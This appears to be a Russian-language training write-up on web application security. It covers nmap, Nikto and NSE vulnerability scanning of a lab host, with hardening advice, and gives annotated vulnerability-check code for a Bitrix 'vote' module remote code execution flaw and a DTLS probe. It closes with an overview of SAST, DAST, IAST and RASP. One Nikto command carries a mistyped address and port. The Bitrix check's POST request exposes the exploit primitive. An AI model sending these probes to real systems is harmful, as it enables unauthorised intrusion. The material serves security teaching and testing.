⠀
⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀

⠀
### ⠀⠀⠀Особенности работы отдела безопасности сетевых (WEB) ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀приложений
⠀
:::spoiler #1
⠀
Выполним сканирование хоста с помощью *NMAP*
⠀
Сначала просканируем целевой хост с помощью стандартного *TCP* сканирование с использованием *SYN* пакетов, использовав флаг *-sS*. Я также явно указал весь диапозон *TCP* портов 0-65536 с помощью флага *-p0-* и подробный вывод с помощью *verbosity 2*. UDP порты проверять не будем, т.к. это не относится к нашему заданию.

nmap -sS -p0- -vv 10.90.192.19

Запускаем сканирование и видим 4 активных *TCP* порта
⠀
⠀
*NMAP* старается предоставлять точные результаты, но всегда следует учитвать, что эти результаты основаны на пакетах, возвращаемых целевыми машинами или файерволом, которые расположены перед ними. Хостам можно и не доверять - они могут отправлять ответы предназначенные для введения в заблуждение или дезинформации сканера. Весьма сильно распротранены хосты, работающие не по *RFC* стандартам, которые не отвечают на запросы *NMAP* так, как должны были бы. Хотя это больше относится *NULL*, *FIN* и *XMAS* сканированию.

Мы отправили SYN пакеты на каждый порт и получили на 4-х из них SYN-ACK ответ. Разберем, какие порты открыты, и какие серисы чаще всего на них используются.

> [color=lightgreen] 21 - ftp
> 22 - ssh
> 2200 - ici
> 4433 - Versile Object Protocol

Запустим *NMAP* с флагом *-sV*, чтобы узнать больше информации о запущенных сервисах

nmap -sV -vv -p21,22,2200,4433 10.90.192.19

⠀
⠀
⠀
⠀
⠀
⠀

21 - ftp, Версия vsftpd с отключенной анонимной авторизацией
22 - ssh, Версия OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 2 версия протокола 2
2200 - ssh, Версия OpenSSH 5.9p1 Debian 5ubuntu1.4 версия протокола 2
4433 - http, Версия Apache httpd 2.4.41

Мне удалось найти десятки уязвимостей на этих версиях OpenSSH и Apache даже при поверхностном поиске в интернете. Чтобы упростить процесс, я воспользуюсь инструментом NSE скриптинга от NMAP ниже. А пока обратим внимание, что на порту 4433 у нас расположен веб сервер. Просканируем 4433 порт с помощью сканера веб-серверов Nikto. Это может дать нам представление об ошибках конфигурации, показать возможные методы эксплуатирования уязвимостей, и предоставить больше информации об этом веб-сервере

nikto -h 19.90.192.19 -p 22

⠀
⠀
Мы видим, что на 4433 порту расположен NGINX версии 1.18.0. Пятый сервис найден!
Рассмотрим подробнее вывод Nikto:

> [color=lightgreen] *The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS*

Это говорит нам о том, что заголовок *X-XSS-Protection* не определен, что потенциально позволит злоумышленнику применять атаки с использованием межсайтового скриптинга *(XSS)*
Решение - установить заголовок *X-XSS-Protection*

> [color=lightgreen] *The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack*

Заголовок *Content-Encoding* имеет значение *«deflate»* - это может означать, что сервер уязвим для атак *BREACH*

*BREACH* это в основном атака на *HTTP*. Атака *BREACH* может извлечь токены входа, адреса электронной почты и другую конфиденциальную информацию из зашифрованного *TLS* веб-трафика.

Выполним поиск уязвимостей с помощью *NSE* скриптов *NMAP*. На этом этапе мы также соберем более подробную информацию по каждому запущенному сервису, либо получим *fingerprint*, если *NMAP* не сможет определить его.

Я буду использовать следующие скрипты:
- *Vulscan* от *scipag*
- Встроенный скрипт *Vulners.nse*.

Пройдемся по каждому открытому порту отдельно.

nmap --script vulscan/vulscan.nse -sV -p21 10.90.192.19
nmap --script vulners.nse -sV -p21 10.90.192.19

⠀
⠀
⠀
⠀
⠀
Vulners
⠀
Дальше на скринах отображены найденные уязвимости только по базам CVE, а не по всем базам, поскольку вывод уязвимостей по другим базам занимает очень много места.
⠀
Vulners
⠀
2200
⠀
Vulners.nse
⠀
4433
⠀
vulners.nse
⠀
Выше предоставлены уязвимости CVE, которые потенциально могут быть проэксплутированы на этих версиях активных сервисов. Можно также использовать связку NMAP+METASPLOIT, и далее попытаться проэкспултировать критические уязвимости.

Следует обновиться до последних версий, внести корректировки в конфигурационные файлы как OpenSSH так и Nginx, установить внтуренний брандмауэр / системы предотвращения сканирования. Я не совсем понимаю, зачем используются 2 сервиса OpenSSH. Порт с 21-го желательно поменять, включить беспарольную авторизацию по ключу.
:::

:::spoiler #2
⠀
Недостаточная проверка пользовательского ввода позволяет удаленному злоумышленнику, не прошедшему проверку подлинности, выполнить произвольный код в системе. Это может привести к получению контроля над целевой системой.

Решение:
Обновить модуль "Polls, Votes" (vote) до версии 21.0.100.

Уязвимость найдена Сергеем Близнюком (Positive Technologies)!

void Check1(host, port)  # Создаем функцию Check1 с аргументами host и port
{
	string iid;  # Создаем локальную переменную iid
	string sess;  # Создаем локальную переменную sess
    # В переменную reply запишем HTTP ответ по GET запросу на <целевой айпи>/bitrix/tools/composite_data.php 
    # keep-alive  — использование одного TCP-соединения для отправки и получения многократных HTTP-запросов и ответов вместо открытия нового соединения для каждой пары запрос-ответ
	HTTPReply reply = HTTPGETRequest(host, port, "/bitrix/tools/composite_data.php", "Connection: keep-alive");
	if (reply.code == 200)  # Если получаем ответ сервера '200' 
	{
		boost::regex pattern;  # Дальше следует регулярное выражение
        # PHPSESSID – это переменная сессии, посредством которой
        # происходит идентификация клиента (браузера). Этот уникальный
        # идентификатор присваивается клиенту (браузеру) с той целью,
        # чтобы он вернул ее при следующем запросе
		pattern = boost::regex(".*PHPSESSID=([\\d\\w]+).*'bitrix_sessid':'([\\d\\w]+?)'.*", boost::regex_constants::icase);
		boost::smatch what;
		if (boost::regex_match(reply.fullreply, what, pattern))
		{
			sess = string(what[1].first, what[1].second);
			iid = string(what[2].first, what[2].second);
		}
		if (sess.empty() || iid.empty())  # Если sess или iid пусты - выход из функции
		{
			printf("Prereq fail %s", reply.fullreply.c_str());
			return;
		}
        # POST запрос
		HTTPReply replyPost = HTTPPOSTRequest(plugin, GetServerName(plugin), "/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote",
			"--db7314ff402791dd7fd88f6570d622c1\r\nContent-Disposition: form-data; name=\"sessid\"\r\n\r\n" + iid, "Cookie: PHPSESSID=" + sess + "\r\nContent-Type: multipart/form-data; boundary=db7314ff402791dd7fd88f6570d622c1");

		if (replyPost.code == 200 && replyPost.fullreply.find("???????????????????????????") != string::npos)
		{
			printf("Vulnerable");
			return;
		}
		else
		{
			printf("Not Vulnerable");
			return;
		}
	}
}


DWORD Check2(ip, port) {
    UdpDtlsSocket udp_dtls_sock(ip, port);

    if (!udp_dtls_sock.DtlsConnect())
        return false;

    Buffer notVulnRecv("\xff\xff\x00\x80");
    Buffer sendValidProbe("\x05\x00\x06\x00\x00\x00\x41\x00\x01\x00");
    Buffer sendVulnProbe("\x05\x00\x06\x00\x00\x00\x41\x00\x01\x00\x00");
    Buffer recvMsg;

    printf("[*] Sending vulnerable package...");
    if (!udp_dtls_sock.DtlsWrite(sendVulnProbe))
        return false;

    bool rc = udp_dtls_sock.DtlsRead(recvMsg);
    if ((rc && recvMsg.Size() < 4) || (rc && recvMsg.SubBuf(recvMsg.Size() - 4, 4) != notVulnRecv)) {
        printf("Vulnerable");
        return true;
    }

    if (rc && recvMsg.Size() >= 4 && recvMsg.SubBuf(recvMsg.Size() - 4, 4) == notVulnRecv) {
        return false;
    }

    printf("[*] Sending package...");
    if (!udp_dtls_sock.DtlsWrite(sendValidProbe))
        return false;

    recvMsg.Clear();
    rc = udp_dtls_sock.DtlsRead(recvMsg);
    if (rc) {
        printf("Vulnerable");

        return true;
    }

    return false;
}

> [color=lightgreen] Какие еще методы можно использовать для поиска удаленных уязвимостей?

Глобально - **Black Box | White Box**

**SAST | DAST | IAST**

*SAST* *(Static Application Security Testing)* — тестирование «белого ящика», существует уже более десяти лет. Позволяет разработчикам находить уязвимости безопасности в исходном коде приложения на ранних этапах жизненного цикла разработки ПО. *SAST* также обеспечивает соответствие руководствам и стандартам кодирования без фактического выполнения базового кода.

*DAST (Dynamic Application Security Testing)* — тестирование «черного ящика», может обнаруживать уязвимости и слабые места в работающем приложении, обычно веб-приложениях. Это достигается за счет использования методов внедрения ошибок в приложении, таких как передача вредоносных данных в программное обеспечение, для выявления распространенных уязвимостей безопасности, например, *SQL*-инъекций и межсайтовых сценариев.

*DAST* также может пролить свет на проблемы времени выполнения, такие как:
- проблемы аутентификации и конфигурации сервера
- недостатки, видимые только при входе известного пользователя

Обнаружить это с помощью статистического анализа нельзя!

*SAST* и *DAST* часто используются в тандеме, так как:

*SAST* не будет обнаруживать ошибки времени выполнения
*DAST* не будет отмечать ошибки кодирования, по крайней мере, до номера строки кода

*SAST* хорошо работает, когда дело доходит до обнаружения ошибки в строке кода, например, слабой генерации случайных чисел, но обычно не очень эффективен при обнаружении недостатков потока данных. Кроме того, решения *SAST* известны большим количеством ложноположительных или ложноотрицательных результатов.

(IAST и RASP не относится к удаленным методам)*, однако я все таки оставил их здесь
*IAST (Interactive Application Security Testing)* — интерактивное тестирование безопасности приложений. *SAST* и *DAST* являются относительно старыми технологиями, поэтому бытует мнение, что они не лучший выбор для тестирования современных:
- Веб-приложений
- Мобильных приложений

Например, *SAST* плохо работает с:
- Библиотеками
- Фреймворками

*IAST* разработан для устранения недостатков *SAST* и *DAST* путем объединения элементов обоих подходов. *IAST* выполняет весь анализ в режиме реального времени:
- в любом месте процесса разработки *IDE*
- непрерывной интегрированной среде
- производственной среде

Поскольку *IAST* работает внутри приложения, он может анализировать:
- код приложения
- потоки данных
- конфигурации
- HTTP-запросы и ответы
- библиотеки, фреймворки и другие компоненты
- информацию о внутреннем подключении

*RASP (Run-time Application Security Protection)* — защита безопасности приложений во время выполнения. Как и *IAST* работает внутри приложения, но это скорее инструмент безопасности, а не тестирования. Он подключается к приложению или его среде выполнения и может контролировать выполнение приложения. Это позволяет *RASP* защитить приложение, даже если защита периметра сети нарушена, а приложения содержат уязвимости безопасности.

*RASP* позволяет приложению проводить непрерывные проверки безопасности и отвечать на атаки в реальном времени, завершая сеанс злоумышленника и предупреждая защитников об атаке.

:::
⠀

###### tags: `Intesive`